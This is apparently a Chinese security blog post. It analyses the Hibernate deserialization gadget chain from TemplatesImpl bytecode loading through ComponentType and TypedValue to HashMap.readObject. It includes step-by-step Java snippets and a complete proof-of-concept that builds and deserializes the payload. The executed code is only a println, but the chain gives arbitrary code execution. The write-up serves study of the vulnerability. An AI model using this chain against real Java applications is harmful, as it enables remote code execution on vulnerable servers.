最近做项目刚好遇到了反序列化漏洞,在项目中依赖了hibernate组件,借此机会分析下hibernate利用链。
漏洞分析 首先看下最终反序列化漏洞的触发点,这个漏洞的触发点在org.hibernate.property.BasicPropertyAccessor.BasicGetter#get中,在这这个方法中使用了method.invoke反射调用。这里的method是从属性中获取的,因此是可控的,所以下来需要找到可以控制target参数的点。
在org.hibernate.tuple.component.AbstractComponentTuplizer#getPropertyValue中调用了get方法,其中getters属性为Getter接口类型的数组,他的实现类中包含了BasicGetter,所以只要这里的getters属性中传入的是BasicGetter对象,根据java的多态原则,实际上会调用到BasicGetter的get方法。
由于org.hibernate.tuple.component.AbstractComponentTuplizer类是抽象类,不能通过newInstance获取对象,因此只能先获取其子类,通过子类的getPropertyValue方法调用get方法。比如org.hibernate.tuple.component.PojoComponentTuplizer类,子类实现中并没有重写两个参数的getPropertyValue方法,创建子类后传入两个参数调用getPropertyValue方法,会自动调用父类的getPropertyValue方法。
在org.hibernate.type.ComponentType#getHashCode(java.lang.Object)中调用了getPropertyValue方法。
最后在org.hibernate.engine.spi.TypedValue中的readObject中调用了initTransients,而initTransients中调用了getHashCode,所以整条链就串起来了。
但是仅仅这样还不够,我们要充分理解这条调用链,得先了解下面的几个问题。
漏洞疑问 如何给method属性赋值? 在BasicGetter中,method的属性是transient修饰的,也就是说当我们通过writeObject去给method属性赋值时,是不会将method属性的内容写入到序列化数据中的。
先说结论吧,在BasicGetter中定义了readResolve方法,在反序列化的过程中会自动调用这个方法,先看下这个方法的定义。调用createGetter方法获取一个BasicSetter对象,之所以写在readResolve中,主要是为了让序列化和反序列化过程中,BasicGetter对象保持单例。
在编写程序时,有时候我们希望某个对象是单例模式,比如spring中的bean,并且这个对象是可以进行序列化和反序列化的,当我们正常去写单例模式,进行序列化和反序列化后,实际上得到的已经不是一个对象了,可以通过下面的栗子进行证明。
来自:单例、序列化和readResolve()方法
首先写一个类,为了让这个类保持单例模式,只有通过getInstance方法才能获取到实例,不能通过构造方法创建实例。
1 2 3 4 5 6 7 8 9 10 import java.io.Serializable;public class HungrySingleton implements Serializable { private HungrySingleton () { } private static final HungrySingleton hungry = new HungrySingleton(); public static HungrySingleton getInstance () { return hungry; } }
下面写一个测试代码,测试序列化后的对象和序列化之前的对象是否相等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import java.io.*;public class client { public static void main (String[] args) { HungrySingleton s1 = HungrySingleton.getInstance(); HungrySingleton s2 = null ; try { FileOutputStream fos = new FileOutputStream("a.obj" ); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(s1); oos.flush(); FileInputStream fis = new FileInputStream("a.obj" ); ObjectInputStream ois = new ObjectInputStream(fis); s2 = (HungrySingleton) ois.readObject(); System.out.println(s1==s2); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
实际结果为false,可以证明反序列化后的对象和反序列化前的对象不是一个对象。
下面在HungrySingleton中加上readResolve方法,再次运行项目,可以看到反序列化后的对象和序列化的对象是一个对象。
1 2 3 private Object readResolve () { return hungry; }
上面我们证明了如果存在readResolve方法,在反序列化的过程中会自动调用readResolve(),放到hibernate利用链中来讲,可以通过readResolve方法给method属性赋值,大致的调用栈如下。
1 2 3 4 BasicPropertyAccessor.getSetterOrNull(Class, String) (org.hibernate.property) BasicPropertyAccessor.getSetterOrNull(Class, String)(2 usages) (org.hibernate.property) BasicPropertyAccessor.createSetter(Class, String) (org.hibernate.property) BasicSetter in BasicPropertyAccessor.readResolve() (org.hibernate.property)
在getGetterOrNull方法中,通过getterMethod方法获取method对象,并通过BasicGetter的构造方法为该对象赋值。
org.hibernate.property.BasicPropertyAccessor#getterMethod遍历theClass中的所有方法,查找以get或is开头的并且去掉get或is后和propertyName相同的method并返回。
theClass是从哪里传入的,经过跟代码发现是从clazz属性中传入的而propertyName也是可以通过构造方法设置的,所以可以通过控制这两个属性来间接给method属性传值。
为什么要使用TemplatesImpl来利用? 看网上Hibernate1利用链的分析文章,最终是将结果导向了TemplatesImpl类来完成利用,但是实际经过我们的分析,其实只要是满足下面几点都是可以利用的。
存在无参的public访问权限的getter或is方法
通过getter或is方法可以间接执行代码或者执行命令
对于TemplatesImpl利用链之前并没有了解过,所以也借此机会分析下TemplatesImpl为什么可以完成利用。
首先看下TemplatesImpl能被利用的根本原因,重写了defineClass可以从字节数组加载class对象,当然defineClass后并不会执行静态方法或者代码块,只有通过newInstance构造时,才会执行构造方法和静态代码块。
所以要想利用这个链,光靠defineClass是不够的,还要找到newinstance的点。于是找到了如下调用链。
1 2 3 TemplatesImpl.TransletClassLoader.defineClass() TemplatesImpl.defineTransletClasses() TemplatesImpl.getTransletInstance()
而_class属性对应的Class对象是通过 _bytecodes属性的内容通过defineClass加载后得到的。并且 _name属性的内容不能为空,否则不会继续执行getTransletInstance方法。
所以下来我们要给 _name和 _bytecodes赋值,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#TemplatesImpl(byte[][], java.lang.String, java.util.Properties, int, com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl)可以做到这一点。
通过这个构造方法,首先可以给_bytecodes属性赋值,其次在init方法中,会将transletName的值赋给 _name属性。
在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses中会去判断defineClass加载的类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类,如果不是则会抛出异常不会执行newInstance操作,因此我们构造的类必须是AbstractTranslet的子类。
最后需要注意的是getTransletInstance方法是private修饰的,也就是说不能直接通过invoke调用,所以要找到一个public的getter方法串到getTransletInstance,查看调用链,找到了getOutputProperties方法,所以只要通过invoke调用getOutputProperties即可。
1 2 3 TemplatesImpl.getTransletInstance TemplatesImpl.newTransformer TemplatesImpl.getOutputProperties
如何构造动态Class? 根据上述的需求,我们需要动态构造一个Class并且在它的无参构造方法写上我们想要执行的代码,可以通过javasist来实现,代码如下:
1 2 3 4 5 6 7 8 9 10 ClassPool pool = ClassPool.getDefault(); String clazzName = "test666" ; CtClass targetClass = pool.makeClass(clazzName); targetClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); CtConstructor cons = new CtConstructor(new CtClass[] {}, targetClass); cons.setBody("{System.out.println(\"Hello World!!!\");}" ); targetClass.addConstructor(cons); byte [] byteArray = targetClass.toBytecode(); FileOutputStream output = new FileOutputStream("D:\\test666.class" ); output.write(byteArray);
生成的Class内容如下。
如何构造TemplatesImpl对象并完成调用? 上面我们已经动态构造好了需要执行的类并得到了该类的字节码,下面我们只要构造好TemplatesImpl对象并调用getOutputProperties即可完成利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ClassPool pool = ClassPool.getDefault(); String clazzName = "test666" ; CtClass targetClass = pool.makeClass(clazzName); targetClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); CtConstructor cons = new CtConstructor(new CtClass[] {}, targetClass); cons.setBody("{System.out.println(\"Hello World!!!\");}" ); targetClass.addConstructor(cons); byte [] byteArray = targetClass.toBytecode();byte [][] b= {byteArray};Class<TemplatesImpl> clazz = (Class<TemplatesImpl>) Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Constructor<TemplatesImpl> con = clazz.getDeclaredConstructor(byte [][].class,String.class, Properties.class,int .class, TransformerFactoryImpl.class); con.setAccessible(true ); Properties pro=new Properties(); int a=2 ;TemplatesImpl impl= con.newInstance(b,"xxx" ,pro,a,TransformerFactoryImpl.class.newInstance()); Method method=clazz.getMethod("getOutputProperties" ); method.invoke(impl);
通过上面的分析,我们已经完成了从invoke到任意代码执行的利用,接下来我们需要构造如何从readObject调用到invoke方法。
如何构造对象从readObject到invoke? BasicGetter构造
我们从invoke往上推,我们知道org.hibernate.property.BasicPropertyAccessor.BasicGetter#get中调用了invoke方法,再到上层调用getPropertyValue时,我们需要让this.getters中的内容为BasicGetter,并且component的内容为我们构造好的TemplatesImpl对象。
所以首先构造BasicGetter对象,由于BasicGetter只有private的构造方法,所以只能通过反射调用构造方法得到BasicGetter对象。另外根据之前的分析通过clazz和propertyName属性来动态构造的method属性,所以clazz属性要传入TemplatesImpl的Class,propertyName传入getOutputProperties。
所以得到了如下代码段。
1 2 3 4 Class<BasicPropertyAccessor.BasicGetter> clazz2 = (Class<BasicPropertyAccessor.BasicGetter>) Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter" ); Constructor<BasicPropertyAccessor.BasicGetter> con2 = clazz2.getDeclaredConstructor(Class.class,Method.class,String.class); con2.setAccessible(true ); BasicPropertyAccessor.BasicGetter getter= con2.newInstance(clazz,method,"OutputProperties" );
可以直接通过调用get方法来排错。
构造PojoComponentTuplizer对象
得到BasicGetter对象后,要将BasicGetter的内容赋值到AbstractComponentTuplizer的getters属性中,在AbstractComponentTuplizer。
AbstractComponentTuplizer是抽象类,不能创建对象,可以通过其子类来构建。
我们可以先创建一个PojoComponentTuplizer的实例,再通过反射修改getters字段的内容。但是使用这种方式我们需要构造一个Component对象,这个对象构造起来比较麻烦,参考ysoserial的实现,是通过reflectionFactory 在不调用构造方法的情况下创建对象。
1 2 3 Class<PojoComponentTuplizer> clazz3 = (Class<PojoComponentTuplizer>) Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer" ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz3, Object.class.getConstructor(new Class[0 ])); PojoComponentTuplizer pojo= (PojoComponentTuplizer) sc.newInstance(new Object[0 ]);
下面通过反射修改getters属性的内容
1 2 3 4 5 Class<AbstractComponentTuplizer> clazz4 = (Class<AbstractComponentTuplizer>) Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer" ); Field getters=clazz4.getDeclaredField("getters" ); getters.setAccessible(true ); BasicPropertyAccessor.BasicGetter[] gets={getter}; getters.set(pojo,gets);
可以通过调用pojo.getPropertyValue(impl,0);测试是否设置成功。
ComponentType构造
继续看后面对象的构造,主要是利用了getHashCode方法。想要调用到PojoComponentTuplizer对象,需要让this.propertyTypes[i]的值为PojoComponentTuplizer对象,但是propertyTypes是一个Type类型的数组,而我们想要传的PojoComponentTuplizer并不是Type类型,所以不能通过this.propertyTypes[i]传递PojoComponentTuplizer对象。
在org.hibernate.type.ComponentType#getPropertyValue(java.lang.Object, int)中,存在如下调用,这里当component不为Object数组时,会调用this.componentTuplizer.getPropertyValue(component, i);,而componentTuplizer是ComponentTuplizer类型,PojoComponentTuplizer间接实现了该接口,所以是可以在这里传入PojoComponentTuplizer对象的。
另外i的内容由属性propertySpan控制,给这个属性赋值即可。
接下来要先构造ComponentType对象,这个对象的构造方法同样需要多个参数,不是很好构造,所以也可以通过reflectionFactory来进行构造。
1 2 3 Class<ComponentType> CompType = (Class<ComponentType>) Class.forName("org.hibernate.type.ComponentType" ); Constructor<?> sc2 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(CompType, Object.class.getConstructor(new Class[0 ])); ComponentType comp= (ComponentType) sc2.newInstance(new Object[0 ]);
下面只要通过反射给相应的字段赋值即可。
1 2 3 4 5 6 Field compTuplizer=CompType.getDeclaredField("componentTuplizer" ); compTuplizer.setAccessible(true ); compTuplizer.set(comp,pojo); Field propSpan=CompType.getDeclaredField("propertySpan" ); propSpan.setAccessible(true ); propSpan.set(comp,1 );
可以通过comp.getHashCode(impl);来测试是否成功。
TypedValue构造
在initTransients中调用了getHashCode方法,所以只要将type赋值为我们构造好的ComponentType对象,value赋值为templateImpl对象即可。
所以最后一步为TypedValue vaule=new TypedValue(comp,impl);
为什么不直接构造TypedValue进行反序列化? 经过我们的分析其实在TypedValue中的readObject方法就已经可以将整条链穿起来了,但实际上ysoserial并没有这么做,参考网上其他师傅的分析文章,也没有讲原因。我自己先构造TypeValue进行测试,发现虽然确实可以到initTransients方法中,但是并不会执行匿名内部类中的方法。
请教了公司的大佬是因为直接调用initTransients方法时,其目的只是给this.hashcode做一个方法的声明,并不会调用内部类中的initialize方法,只有在hashcode初始化时,才会调用内部类的方法。所以要看哪里使用了this.hashcode。
所以这就是不能直接构造TypedValue对象进行反序列化利用的原因。但我们要继续构造,需要构造一个ValueHolder对象,给value的属性值赋值为null,给this.valueInitializer赋值为我们构造好的typevalue。ValueHolder可以直接通过构造方法构造并给valueInitializer赋值。直接new即可ValueHolder hod= new ValueHolder(vaule);
得到ValueHolder后,还需要将ValueHolder的内容赋给TypeValue的hashcode属性。所以要再构建一个TypeValue对象并给hashcode赋值。由于TypeValue不能直接通过构造方法给hashcode赋值,所以我们还是通过ReflectionFactory先得到TypeValue对象,再通过反射给hashcode属性赋值。
但是实际调用会有一些问题,当我们直接通过new创建ValueHolder对象时,并不会调用上面的方法,因为参数需要的是实现了DeferedInitializer接口的类。
所以使用下面的方式可以创建一个ValueHolder对象,initTransients再反序列化时会被调用,因此不用我们手动去创建ValueHolder对象。
所以其实没有那么麻烦,直接调用TypeValue的hashcode就可以将利用链倒上去。
下面分析怎么调到hashCode方法。我们回想下urldns利用链,最终就导向了URL.hashCode(),调用链如下。
先看看java.util.HashMap#hash,想要调用成功,我们需要让key的值为TypedValue。
下面时给key赋值,通过put方法即可。
最后我们看下HashMap的readObject方法,实际上时调用hash方法触发漏洞的。所以只要给HashMap一个key即可。
但不能直接通过put方法给key赋值,因为put本身就会调用hash方法并执行代码。所以可以通过hashcode的内部类Node的构造方法给key赋值。
1 2 3 4 Class clazz5 = Class.forName("java.util.HashMap$Node" ); Constructor nodeCons = clazz.getDeclaredConstructor(int .class, Object.class, Object.class, clazz5); nodeCons.setAccessible(true ); nodeCons.newInstance(2 ,value,value,2 );
下面我们要将构造好的Node对象赋值给HashMap的某个属性即可,好像只有table属性接收Node对象,但table是transient修饰的,也就是说默认不会进行序列化这个字段。
但在writeObject中调用的internalWriteEntries中会遍历table并将其中的key和value进行序列化。
由于table需要的是Node的数组类型,因此还需要创建一个数组对Node进行封装。
1 2 3 4 5 Object tbl = Array.newInstance(clazz5,1 ); Array.set(tbl, 0 , nodeCons.newInstance(2 ,value,value,null )); Field key=map.getClass().getDeclaredField("table" ); key.setAccessible(true ); key.set(map,tbl);
但是这么做反序列化会有异常,因为我们没有给hashmap设置长度。所以还要给hashmap设置size属性。这个我就直接调用ysoserial自带的Reflections来进行设置了。Reflections.setFieldValue(map, "size", 1);.
总体的测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 package ysoserial;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import org.aspectj.weaver.ast.Test;import org.hibernate.engine.spi.TypedValue;import org.hibernate.internal.util.ValueHolder;import org.hibernate.mapping.Component;import org.hibernate.property.BasicPropertyAccessor;import org.hibernate.tuple.component.AbstractComponentTuplizer;import org.hibernate.tuple.component.PojoComponentTuplizer;import org.hibernate.type.ComponentType;import sun.reflect.ReflectionFactory;import ysoserial.payloads.util.Reflections;import java.io.*;import java.lang.reflect.*;import java.util.HashMap;import java.util.Properties;public class TempImplTest { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); String clazzName = "test666" ; CtClass targetClass = pool.makeClass(clazzName); targetClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); CtConstructor cons = new CtConstructor(new CtClass[] {}, targetClass); cons.setBody("{System.out.println(\"Hello World!!!\");}" ); targetClass.addConstructor(cons); byte [] byteArray = targetClass.toBytecode(); byte [][] b= {byteArray}; Class<TemplatesImpl> clazz = (Class<TemplatesImpl>) Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Constructor<TemplatesImpl> con = clazz.getDeclaredConstructor(byte [][].class,String.class, Properties.class,int .class, TransformerFactoryImpl.class); con.setAccessible(true ); Properties pro=new Properties(); Method method=clazz.getMethod("getOutputProperties" ); int a=2 ; TemplatesImpl impl= con.newInstance(b,"xxx" ,pro,a,TransformerFactoryImpl.class.newInstance()); Class<BasicPropertyAccessor.BasicGetter> clazz2 = (Class<BasicPropertyAccessor.BasicGetter>) Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter" ); Constructor<BasicPropertyAccessor.BasicGetter> con2 = clazz2.getDeclaredConstructor(Class.class,Method.class,String.class); con2.setAccessible(true ); BasicPropertyAccessor.BasicGetter getter= con2.newInstance(clazz,method,"OutputProperties" ); Class<PojoComponentTuplizer> clazz3 = (Class<PojoComponentTuplizer>) Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer" ); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz3, Object.class.getConstructor(new Class[0 ])); PojoComponentTuplizer pojo= (PojoComponentTuplizer) sc.newInstance(new Object[0 ]); Class<AbstractComponentTuplizer> clazz4 = (Class<AbstractComponentTuplizer>) Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer" ); Field getters=clazz4.getDeclaredField("getters" ); getters.setAccessible(true ); BasicPropertyAccessor.BasicGetter[] gets={getter}; getters.set(pojo,gets); Class<ComponentType> CompType = (Class<ComponentType>) Class.forName("org.hibernate.type.ComponentType" ); Constructor<?> sc2 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(CompType, Object.class.getConstructor(new Class[0 ])); ComponentType comp= (ComponentType) sc2.newInstance(new Object[0 ]); Field compTuplizer=CompType.getDeclaredField("componentTuplizer" ); compTuplizer.setAccessible(true ); compTuplizer.set(comp,pojo); Field propSpan=CompType.getDeclaredField("propertySpan" ); propSpan.setAccessible(true ); propSpan.set(comp,1 ); TypedValue value=new TypedValue(comp,impl); HashMap map = new HashMap(); Reflections.setFieldValue(map, "size" , 1 ); Class clazz5 = Class.forName("java.util.HashMap$Node" ); Constructor nodeCons = clazz5.getDeclaredConstructor(int .class, Object.class, Object.class, clazz5); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(clazz5,1 ); Array.set(tbl, 0 , nodeCons.newInstance(2 ,value,value,null )); Field key=map.getClass().getDeclaredField("table" ); key.setAccessible(true ); key.set(map,tbl); FileOutputStream out=new FileOutputStream("d:\\test.ser" ); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(map); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("d:\\test.ser" )); ois.readObject(); } }
总结 这个利用链是我第一次尝试去自己构造exp的链,从中也学到了很多东西,相信下次再分析其他利用链会更加容易理解吧。